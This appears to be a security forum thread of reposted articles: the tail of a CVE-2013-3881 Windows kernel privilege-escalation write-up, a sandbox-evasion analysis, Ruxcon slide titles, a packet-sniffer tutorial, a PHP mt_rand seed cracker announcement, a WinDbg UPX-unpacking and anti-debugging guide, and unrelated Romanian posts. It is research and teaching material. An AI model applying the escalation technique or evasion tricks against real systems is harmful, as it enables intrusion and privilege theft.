entry->bFlags & HANDLEF_DESTROY ) { if ( !(entry->bFlags & HANDLEF_INDESTROY) ) { HMDestroyUnlockedObject(entry); result = 0; } } return result; } Once it knows that the reference count has reached zero, it has to actually destroy the object. For this task it gets the handle value and applies a mask in order to get the index of the HandleEntry into the handle table. Then it validates some state flags, and calls HMDestroyUnlockedObject. The HandleEntry contains information about the object type and state. This information will be used to select between the different destructor functions. int __stdcall HMDestroyUnlockedObject(pHandleEntry handleEntry) { int index; index = 0xC * handleEntry->bType handleEntry->bFlags |= HANDLEF_INDESTROY; return (gahti[v2])(handleEntry->phead); } The handle type information table (gahti) holds properties specific to each object type, as well as their Destroy functions. So this function will use the bType value from the handleEntry in order to determine which Destroy function to call. At this point it is important to remember that we have full control over the MenuState object, and that means we can create and fully control its inner PopupMenu object, and in turn the WND objects inside this PopupMenu. This implies that we have control over the handle value in the WND object. Another important fact is that entry zero on the gahti table is always zero, and it represents the FREE object type. So our strategy in order to get code execution here is to, by some means, create an object whose HandleEntry in the HandleEntry table has a bType = 0x0, and bFlags = 0x1. If we can manage to do so we can then create a fake WND object with a handle that makes reference to this object of bType=0x0. When the HMDestroyUnlockedObject is called it will end up in a call gahti[0x0]. As the first element in gahti table is zero, this ends up as a "call 0". In other words we can force a path that will execute our controlled data at address zero. [h=3]What we need[/h] We need to create a user object of bType=FREE (0x0) and bFlags= HANDLEF_DESTROY (0x1). This is not possible directly, so we first focus on getting an object with the bFlag value equal to 0x1. For this purpose we create a Menu object, set it to a window, and then Destroy it. The internal reference count for the object did not reach zero because it is still being accessed by the window object, so it is not actually deleted but instead flagged as HANDLEF_DESTROY on the HandleEntry. This means the bFlag will equal to 0x1. The bType value is directly associated to the Object Type. In the case of a menu object the value is 0x2 and there is no way of creating an object of type 0x0. So we focus on what ways we have to alter this value using some of the functions being called before destroying the WND object. As you can probably remember from the PopupMenu structure shown before, it contains several WND objects, and one of the first actions performed when HMUnlockObject(pWnd) is called is to decrement the lockCount. So we simply set-up two fake WND objects in such a way that the lockCount field will be pointing to the HandleEntry->bType field. When each of those fake WND objects is destroyed it will actually perform a “dec” operation over the bType of our menu object, thus decrementing it from 0x2 to 0x0. We now have a bFlag of 0x1 and a bType of 0x0. Using this little trick we are able to create a User object with the needed values on the HandleEntry. [h=3]Summary[/h] First we will create a MenuObject and force it to be flagged as HANDLEF_DESTROY. Then we will trigger the vulnerability, where xxxEndMenuState will get a reference to the menuState structure from a global thread pointer, and its value will be zero. So we map this address and create a fake MenuState structure at zero. XxxEndMenuState will call FreePopup(..) on a popup object instance we created, and will in turn try to destroy its internal objects. Three of these objects will be fake WND objects which we also create. The first two will serve the purpose of decrementing the bType value of our menu object, and the third one will trigger a HMDestroyUnlockedObject on this same object. This will result on code execution being redirected to address 0x0 as previously discussed. We have to remember that when we redirect execution to address 0, this memory also servers as a MenuState object. In particular the first field is a pointer to the PopupMenu object that we need to use. So what we do is to choose the address of this popup menu object in such a way that the least significant bytes of the address also represent a valid X86 jump opcode (e.g. 0x04eb translates to eb 04 in little endian memory ordering which represents a jump 4). [h=3]Finish him![/h] Once we achieve execution at ring 0 we patch the Enabled field on the _SEP_TOKEN_PRIVILEGES structure from the MOSDEF callback process in order to enable all the privileges for the process. We fix up the HandleEntry we modified before, and restore the stack in order to return after the PoolFree thus skipping the BSOD. Once all of this is done we return to user-land, but now our MOSDEF process has all the privileges, this allows us to for example migrate to LSASS and get System privileges. [h=3]-- Matias Soler[/h] Sursa: Immunity Products: Exploiting CVE-2013-3881: A Win32k NULL Page Vulnerability

[h=3]Sandbox Overloading with GetSystemTimeAdjustment[/h] Lately we came across an interesting sample (MD5: b4f310f5cc7b9cd68d919d50a8415974) we would like to share with you. An initial analysis spotted: To summarize the sample seems to be not showing any interesting behavior at all. However a closer look revealed: The process calls GetSystemTimeAdjustment for more than 1.8M times. Since Joe Sandbox captures this API which introduces some additional computation time the overall sample execution slows down dramatically and due to the limited execution time the payload is never reached. We already outlined this technique named "Sandbox overloading" in a previous blog post. Function 4011B4 outlines that GetSystemTimeAdjustment is called for 7.8M times: After the loop some anti-emulation routines follow and finally the payload is executed. Since overloading techniques are generic they effect a wide range of dynamic malware analysis system and thus are very powerful. Therefore it is important to have technologies to quickly detect and prevent such prevention techniques. Full analysis available: - Joe Sandbox 8.0.0 Analysis b4f310f5cc7b9cd68d919d50a8415974 Posted by Joe Monday, November 4, 2013 2:45 PM Sursa: Automated Malware Analysis Blog: Sandbox Overloading with GetSystemTimeAdjustment

Ruxcon slides [TABLE=class: roundTable] [TR] [TH]Presentation[/TH] [TH]Speaker[/TH] [TH][/TH] [TH]Slides[/TH] [TH][/TH] [/TR] [TR] [TD] Amateur Satellite Intelligence: Watching North Korea[/TD] [TD] Dave Jorm[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Payment Applications Handle Lots of Money. No, Really: Lots Of It.[/TD] [TD] Mark Swift & Alberto Revelli[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] 50 Shades of Oddness - Inverting the Anti-Malware Paradigm[/TD] [TD] Peter Szabo[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] Visualization For Reverse Engineering and Forensics[/TD] [TD] Danny Quist[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Electronic Voting Security, Privacy and Verifiability[/TD] [TD] Vanessa Teague[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Cracking and Analyzing Apple iCloud Protocols: iCloud Backups, Find My iPhone, Document Storage[/TD] [TD] Vladimir Katalov[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Buried by time, dust and BeEF[/TD] [TD] Michele Orru[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Under the Hood Of Your Password Generator[/TD] [TD] Michael Samuel[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Malware, Sandboxing and You: How Enterprise Malware and 0day Detection is About To Fail (Again)[/TD] [TD] Jonathan Brossard[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Espionage: Everything Old Is New Again[/TD] [TD] Kayne Naughton[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] VoIP Wars: Return of the SIP[/TD] [TD] Fatih Ozavci[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] BIOS Chronomancy: Fixing the Static Root of Trust for Measurement[/TD] [TD] John Butterworth[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] The BYOD PEAP Show: Mobile Devices Bare Auth[/TD] [TD] Josh Yavor[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Bypassing Content-Security-Policy[/TD] [TD] Alex "kuza55" Kouzemtchenko[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Deus Ex Concolica - Explorations in end-to-end automated binary exploitation[/TD] [TD] Mark 'c01db33f' Brand[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Mining Mach Services within OS X Sandbox[/TD] [TD] Meder Kydyraliev [/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] Top of the Pops: How to top the charts with zero melodic talent and a few friendly computers[/TD] [TD] Peter Fillmore[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] A Beginner's Journey into the World of Hardware Hacking[/TD] [TD] Silvio Cesare[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] Underground: The Julian Assange story (with Q&A)[/TD] [TD] Suelette Dreyfus & Ken Day[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] Wardriving in the cloud: A closer look at Apple and Google location services[/TD] [TD] Hubert Seiwert[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] AntiTraintDroid - Escaping Taint Analysis on Android for Fun and Profit[/TD] [TD] Golam 'Babil' Sarwar[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] The Art Of Facts - A look at Windows Host Based Forensic Investigation[/TD] [TD] Adam Daniel[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] Introspy : Security Profiling for Blackbox iOS and Android[/TD] [TD] Alban Diquet & Marc Blanchou[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Inside Story Of Internet Banking: Reversing The Secrets Of Banking Malware[/TD] [TD] Sean Park[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Edward Snowden: It's Complicated[/TD] [TD] Patrick Gray[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Schoolin' In: How to Build Better Hackers[/TD] [TD] Brendan Hop[/TD] [TD] [/TD] [TD] Not available[/TD] [/TR] [TR] [TD] Roll the Dice and Take Your Chances[/TD] [TD] Thiébaud Weksteen[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [TR] [TD] Cracking, CUDA and the Cloud – Cracking Passwords Has Never Been So Simple, Fast and Cheap[/TD] [TD] John Bird[/TD] [TD] [/TD] [TD] Slides[/TD] [/TR] [/TABLE] Sursa: Slides

Zeros in Javascript http://maone.net/dev/js/0/

[h=3]Creating a simple and fast packet sniffer in C++[/h]I have seen several articles on the web about writing packet sniffers using C and C++ which suggest using raw sockets and dealing with protocol headers and endianness yourself. This is not only very tedious but also there are libraries which already deal with that for you and make it extremely easy to work with network packets. One of them is libtins, a library I have been actively developing for the past two years. It has support for several protocols, including Ethernet II, IP, IPv6, TCP, UDP, DHCP, DNS and IEEE 802.11, and it works on GNU/Linux, Windows, OSX and FreeBSD. It even works on different architectures such as ARM and MIPS, so you could go ahead and develop some application which could be executed inside routers and other devices. Let's see how you would sniff some TCP packets and print their source and destination port and addresses: #include <iostream>#include <tins/tins.h> using namespace Tins; bool callback(const PDU &pdu) { const IP &ip = pdu.rfind_pdu<IP>(); const TCP &tcp = pdu.rfind_pdu<TCP>(); std::cout << ip.src_addr() << ':' << tcp.sport() << " -> " << ip.dst_addr() << ':' << tcp.dport() << std::endl; return true; } int main() { // Sniff on interface eth0 // Maximum packet size, 2000 bytes Sniffer sniffer("eth0", 2000); sniffer.sniff_loop(callback); } This is the output I get when executing it: As you can see, it's fairly simple. Let's go through the snippet and see what it's doing: The callback function is the one that libtins will call for us each time a new packet is sniffed. It returns a boolean, whch indicates whether sniffing should go on or not, and takes a parameter of type PDU, which will hold the sniffed packet. This library represents packets as a series of Protocol Data Units(PDU) stacked over each other. So in this case, every packet would contain an EthernetII, IP and TCP PDUs. Inside callback's body, you can see that we're calling PDU::rfind_pdu. This is a member function template which looks for the provided PDU type inside the packet, and returns a reference to it. So in the first two lines we're retrieving the IP and TCP layers, and then we're simply printing the addresses and ports. Finally, in main an object of type Sniffer is constructed. When constructing it, we indicate that we want to sniff on interface eth0 and we want a maximum packet capture size of 2000 bytes. After that, Sniffer::sniff_loop is called, which will start sniffing packets and calling our callback for each of them. Note that this example will run successfully on any of the supported operating systems(as long as you use the right interface name, of course). The endianness of each of the printed fields is handled internally by the library, so you don't even have to worry about making your code work in Big Endian architectures. Now, you may be wondering whether using libtins will make your code significantly slower. If that is your concern, then you should not worry about it at all! This library was designed keeping efficiency in mind at all times. As a consequence it's the fastest packet sniffing and interpretation library I've tried out. Go ahead and have a look at these benchmarks to see how fast it actually works. If you want to learn more about libtins, please visit this tutorial, which covers everything you should know before starting to develop your network sniffing application! Posted by Matias Fontanini at 12:41 Sursa: Average coder: Creating a simple and fast packet sniffer in C++

Date: Mon, 4 Nov 2013 06:11:22 +0400 From: Solar Designer <solar@...nwall.com> To: announce@...ts.openwall.com Subject: [openwall-announce] php_mt_seed went beyond PoC Hi, With the functionality added in October, our php_mt_seed PHP mt_rand() seed cracker is no longer just a proof-of-concept, but is a tool that may actually be useful, such as for penetration testing. It is now a maintained project with its own homepage: php_mt_seed - PHP mt_rand() seed cracker Changes implemented in October, leading up to version 3.2, include addition of AVX2 and Intel MIC (Xeon Phi) support, and more importantly support for advanced invocation modes, which allow matching of multiple, non-first, and/or inexact mt_rand() outputs to possible seed values. The revised README file provides php_mt_seed usage examples (both trivial and advanced), as well as benchmarks on a variety of systems (ranging from quad-core CPU to 16-core server and to Xeon Phi): php_mt_seed: README With the new AVX2 support, php_mt_seed searches the full 32-bit seed space on a Core i7-4770K CPU in 48 seconds. On Xeon Phi 5110P, it does the same in 7 seconds. In advanced invocation modes, the running times are slightly higher, but are still very acceptable. For example, let's generate 10 random numbers in the range 0 to 9: $ php5 -r 'mt_srand(1234567890); for ($i = 0; $i < 10; $i++) { echo mt_rand(0, 9), " "; } echo "\n";' 6 6 4 1 1 2 8 4 5 8 and find the seed(s) based on these 10 numbers using our HPC Village machine's CPUs (2x Xeon E5-2670): [solar@...er php_mt_seed-3.2]$ GOMP_CPU_AFFINITY=0-31 time ./php_mt_seed 6 6 0 9 6 6 0 9 4 4 0 9 1 1 0 9 1 1 0 9 2 2 0 9 8 8 0 9 4 4 0 9 5 5 0 9 8 8 0 9 Pattern: EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 Found 0, trying 1207959552 - 1241513983, speed 222870766 seeds per second seed = 1234567890 Found 1, trying 4261412864 - 4294967295, speed 222760735 seeds per second Found 1 615.57user 0.00system 0:19.28elapsed 3192%CPU (0avgtext+0avgdata 3984maxresident)k 0inputs+0outputs (0major+292minor)pagefaults 0swaps We found the correct seed (and there turned out to be only one such seed) in under 20 seconds. What if we did not know the very first mt_rand() output (had only 9 known values out of 10, in this example)? Let's specify "0 0 0 0" to have php_mt_seed skip the first output: [solar@...er php_mt_seed-3.2]$ GOMP_CPU_AFFINITY=0-31 time ./php_mt_seed 0 0 0 0 6 6 0 9 4 4 0 9 1 1 0 9 1 1 0 9 2 2 0 9 8 8 0 9 4 4 0 9 5 5 0 9 8 8 0 9 Pattern: SKIP EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 EXACT-FROM-10 Found 0, trying 469762048 - 503316479, speed 203360193 seeds per second seed = 485860777 Found 1, trying 637534208 - 671088639, speed 203036371 seeds per second seed = 641663289 Found 2, trying 1073741824 - 1107296255, speed 202975770 seeds per second seed = 1091847690 Found 3, trying 1207959552 - 1241513983, speed 203018412 seeds per second seed = 1234567890 Found 4, trying 3388997632 - 3422552063, speed 203177316 seeds per second seed = 3414448749 Found 5, trying 4261412864 - 4294967295, speed 203117867 seeds per second Found 5 675.08user 0.00system 0:21.14elapsed 3192%CPU (0avgtext+0avgdata 4000maxresident)k 0inputs+0outputs (0major+291minor)pagefaults 0swaps We found 4 extra seeds, and the speed is slightly lower (by the way, there's much room for optimization in handling of cases like this - maybe later). The original seed value was found as well. Other (and possibly more) mt_rand() outputs could be specified and/or skipped as well, and/or ranges of possible values could be specified. The mt_rand() output range does not have to be 0 to 9, too - any other range supported by PHP's mt_rand() is also supported in php_mt_seed. Enjoy, and please spread the word. Alexander Sursa: announce - [openwall-announce] php_mt_seed went beyond PoC

[h=1]Hei, Google! Sunt eu, utilizatorul. M? mai ?ii minte?[/h] Liviu Mihai - 5 nov 2013 Drag?, Google, îmi pare r?u s?-?i spun, dar, de data asta, Bill Gates a avut dreptate. ?tiu, o mai d? ?i-n garduri, ca atunci, în 2004, când ne-a promis c? în doi ani sc?p?m definitiv de spam. Dar, legat de tine, cu p?rere de r?u î?i spun, a nimerit-o. Tot prin dou? mii ?i ceva, chiar atunci când începeai s? fii favoritul nostru ?i antiteza a tot de nu ne pl?cea la Microsoft. A spus Bill Gates atunci, ?i am sperat cu to?ii s? fie doar înc? o previziune e?uat?, c? treci prin a?a-numita er? de aur, pe care orice mare companie o traverseaz? la un moment dat, dar c? va veni o vreme când vei fi ?i tu blamat. P?rea de neconceput atunci, dar iat?-ne 10 ani mai tarziu cum ne for?ezi s?-i d?m dreptate. Ai început mai mult decât promi??tor, ca un motor de c?utare mult mai bun decât concuren?a anemic?. De-a lungul timpului ?i-ai îmbun?t??it constant algoritmul ?i ai ad?ugat numeroase func?ii auxiliare c?ut?rii. Apoi ai început marele asalt. 1 aprilie 2004. A p?rut o glum? la început ?i, probabil c? a?a au crezut ?i Microsoft ?i Yahoo!. Ai lansat Gmail pentru un num?r limitat de utilizatori, care, mai târziu, aveau s? trimit? (sau s? vând?) invita?iile dup? care toat? lumea p?rea s? râvneasc?. 1 GB pentru stocarea mail-urilor, ce nebunie! Când Yahoo! ?i Microsoft î?i d?deau 2 MB am?râ?i!?! Ai lansat ?i cump?rat servicii pe band? rulant?. Ai luat Writley ?i l-ai transformat în Google Docs. Ai lansat Google Reader cu o interfa?? monstruoas?, dar care, la primul ?i ultimul facelift, s-a dovedit un pariu câ?tig?tor. YouTube. Picasa. Feed Burner. Blogger ?i multe altele. Ai lansat chiar ?i un browser web, Chrome, de?i ai sus?inut mereu c? nu e?ti o companie de software. Apoi, o dat? cu Android, ai început asaltul pe mobile. Apple ?i-a deschis apetitul dar ?i tu ai avut destule merite proprii. Ne pl?cea de tine. Î?i p?sa de noi. ?i, dintr-o dat?, a încetat s?-?i mai pese. Ai devenit plin de tine. Ai devenit Microsoft. Sau mult mai r?u. Ai început s? închizi servicii, surd la plângerile noastre. Ai închis Wave, Answers, iGoogle, Buzz, Dictionary ?i ai culminat cu Reader. Înc? te mai boscorodesc pentru Reader. Dar nu-i asta problema. Înteleg, e vorba de bani. Afacerea ta, deciziile tale. Problema e ca nu-?i mai pas?, e?ti lipsit de orice scrupule fa?? de mine. Nu-?i mai îmbun?t??e?ti serviciile a?a des cum o f?ceai sau chiar deloc. Nu mai ai de ce. Nu ai un rival care s? te motiveze. Iar asta e r?u pentru tine, e mai r?u pentru noi. Ai ajuns s? faci schimb?ri care m? afecteaz? direct, f?r? s? mai ?ii deloc cont de nevoile ?i r?spunsul meu. Pentru c? po?i, pentru c? e?ti mare ?i tare ?i nu te mai doare de mine. Pentru c? esti r?u. Tocmai tu, cel care se d?dea bun. Nu mai e?ti Google care ne f?cea s? ciulim urechile de fiecare dat? când se scria de tine. Nu mai e?ti cel care ne f?cea s? exclam?m: "wow, ai vazut, m?, ce chestie tare a scos Google?". Acum e mai mult: “b?i, iar? ne-a tras-o Google”. Ne superi din ce în ce mai des ?i ajungem s? regret?m c? te-am ajutat s? fii în pozi?ia actual?. Începem s? c?utam alternative la serviciile tale, doar pentru c? ne deranjeaz? politica ta. Începem s? ne s?tur?m. Înainte s? ne desp?r?im definitiv, î?i mai dau o ?ans?. Pentru mine, o speran??. Doi ani, maxim trei s?-?i revii. S?-?i aduci aminte de mine. S?-?i aduci aminte de tine, cum erai cand erai tu. S? m? faci s?-mi pese din nou de tine, ca acum 10 ani. Ca atunci cand erai corect cu mine. Cand erai Google. Sursa: Hei, Google! Sunt eu, utilizatorul. M? mai ?ii minte? Mi s-a parut interesant.

[h=1]BitDefender Internet Security 2014 – licenta GRATUITA![/h] By Radu FaraVirusi(com) on November 5, 2013 BitDefender domina de cativa ani testele de specialitate, uimind prin detectia excelenta si impactul minim asupra resurselor sistemului. Acum puteti avea BitDefender Internet Security 2014 cu licenta GRATUITA printr-o promotie speciala. Accesati site-ul urmator pentru a beneficia de un an licenta gratuita: Product Page Sursa: BitDefender Internet Security 2014 – licenta GRATUITA!

Aciiiiii

"Hello World" For Windbg This post is an introductory to Windbg from an Ollydbg user's perspective. It contains an example of the "Hello World" of malware analysis; which is unpacking UPX and bypassing IsDebuggerPresent. I'm still learning Windbg but I'm hoping this post will be useful to others. I assume the reader has the Debugging Tools for Windows installed and symbols setup. The quickest way to verify that the symbols are setup properly is to try the following in Windbg File > Open Executable > notepad.exe. Once the executable loads execute !peb from the command line. We can see the symbols are not properly set up by the warning in the banner. If this is the case, the following link can be helpful in setting up the symbols and fixing them. If the symbols are setup properly we would see the following output. One of the difficult parts of learning Windbg is enumerating useful commands. Ollydbg is great because you can see all the useful commands by selecting a drop down. This isn't the case for Windbg. The best place to look up commands is Windbg Help file. It's surprisingly useful. Belowis a list of commands that I enumerated that are commonly used in debugging malware. .tlist list all running processes [*]lm list all loaded modules [*]lmf list all loaded modules - full path [*]!dlls list all loaded modules - more detailed [*]!dh address displays the headers for the specified image [*]!dh -options address no options, display all -f display file headers -s display sections headers -a display all header [*]@$exentry location of entry point [*]u unassemble [*]!SaveModule startaddress path [*]~ thread status for all threads [*]| proces status [*]!gle get last error [*]r dump registers [*]r reg=value assign register value [*]rF dump Floating point [*]k display call stack for current thread [*]!peb dump process block [*]!address [*].lastevent [*].imgscan dump al [*]bl list breakpoints [*]bc clear breakpoint, * or # [*]bd disable breakpoints [*]bp breakpoint [*]ba r/write/execute (r,w,e) size addr [*]sxe cpr break on process creation [*]sxe epr break on process exit [*]sxe ct break on thread creation [*]sxe et break on thread exit [*]sxe ld break on loading of module [*]sxe ud break on unloading of module [*]$$ print string [*]p step over [*] t step into [*]restart restarts the debugging of the executable process [*]q quit Let's explore these commands on some UPX packed C code. #include <windows.h>#include <stdio.h> int main(int argc, char *argv[]) { if (IsDebuggerPresent() == TRUE) { MessageBox(NULL, TEXT("Please close your debugging application and restart the program"), TEXT("Debugger Found!"), 0); ExitProcess(0); } MessageBox(NULL, TEXT("Hello World!"), TEXT("Bypassed"), 0); ExitProcess(0); return 0; } Source The compiled code can be downloaded from here (MD5: 4F6B57487986FD7A40CFCFA424FDB7B8). The first thing to do is File > Open Executable.. to load the sample into the debugger. Do not use the folder icon via the menu to load the executable. This will only open the executable as if we were opening it in Notepad.exe. Windbg will not break at the entry point of the executable but at what OllyDbg labels as the system breakpoint. Except Windbg breaks one instruction before OllyDbg sets it's system breakpoint. To get the address of the entry point we can read it from the portable executable (PE) header but in order to get it we have to know the base address of the executable. This is a common theme when using Windbg. In order to run one command, we have to calculate or parse the results of another command and then us as an argument. The base address is present in the output (as seen above) when the executable is first loaded in windbg. If we accidentally cleared the screen with the command.cls, the easiest way to get the base address is to execute lm (list modules) or lmf (list module with file path). To read the PE header we can use the command dh (dump headers) with an argument of the base address. The entry point of the executable will be found in the OPTIONAL HEADER VALUES. Since we have the base address (012c0000) and the entry point (79A0) we can add the two and print the assembly of the entry point using u with an argument of the address. A much quicker approach to access the address of entry point is @$exentry. Since we are at the system breakpoint, we need to set a breakpoint using the command bp with an address as the argument and then execute until the breakpoint is hit by pressing g and then enter in the command window. It is sometimes useful to dump out the register to have an idea of where we are at. Dumping the registers can be done using the command r. The pushad instruction is a good indicator that we are at the entry point of UPX. Let's dump the section headers using !dh -s address. The -s is short for section. For safe practice we should remove the breakpoint. To remove a breakpoint we first show a list of all breakpoints by using the command bl (break list) and to remove it we use command bc (break clear) with an argument of the index of the breakpoint. UPX is very easy to unpack. The classic technique is to step over pushad, set a break on access on the contents of ESP, execute till breakpoint, set a breakpoint on the jump after the restoring of the stack (SUB ESP -0x80), then execute until breakpoint and single step into the jump. Stepping into is executed by the command t. To create a break on access we use the command ba with an argument of r/w/x, size and address. To execute till the breakpoint the g command is used. Note: base address has changed to 01330000 due to restarting At address 01337b54 we can see the JMP to the original entry point of the executable. First we need to remove the breakpoint via the the bl and bc combinations of commands. Once removed we will set a breakpoint by using the command bp, execute g till breakpoint, step into t and we will be at the original entry point. Now it's time to bypass IsDebuggerPresent. The technique I'm going to use is from mmmmmm blog. Once you grasp the concepts presented in this post I'd highly recommend reading his post Games for Windows – Live. It's an excellent article on exploring anti-debugging using Windbg. What would happen if we executed our compiled code? Quick recap to unpack UPX and get back to the original entry point. .restart bp @$exentry g t bl bc 0 ba r 4 @esp bl bc 0 bp address of JMP g bl bc 0 t IsDebuggerPresent can be easily bypassed by patching the second byte of the PEB with 0. typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } PEB, *PPEB; To patch the byte we can use eb (edit byte) with an argument of the address and the value . We can see the BeingDebugged has a value of No. If we press g to execute we can see we bypass IsDebuggerPresent(). As previously mentioned I'm still learning if you have any recommends on commands or examples please leave a comment or ping me on Twitter. Cheers. Resources windbg | mmmmmm http://www.codeproject.com/Articles/29469/Introduction-Into-Windows-Anti-Debugging http://www.codeproject.com/Articles/6084/Windows-Debuggers-Part-1-A-WinDbg-Tutorial http://windbg.info/doc/1-common-cmds.html http://www.exploit-db.com/download_pdf/18576/ Sursa: Hooked on Mnemonics Worked for Me: "Hello World" For Windbg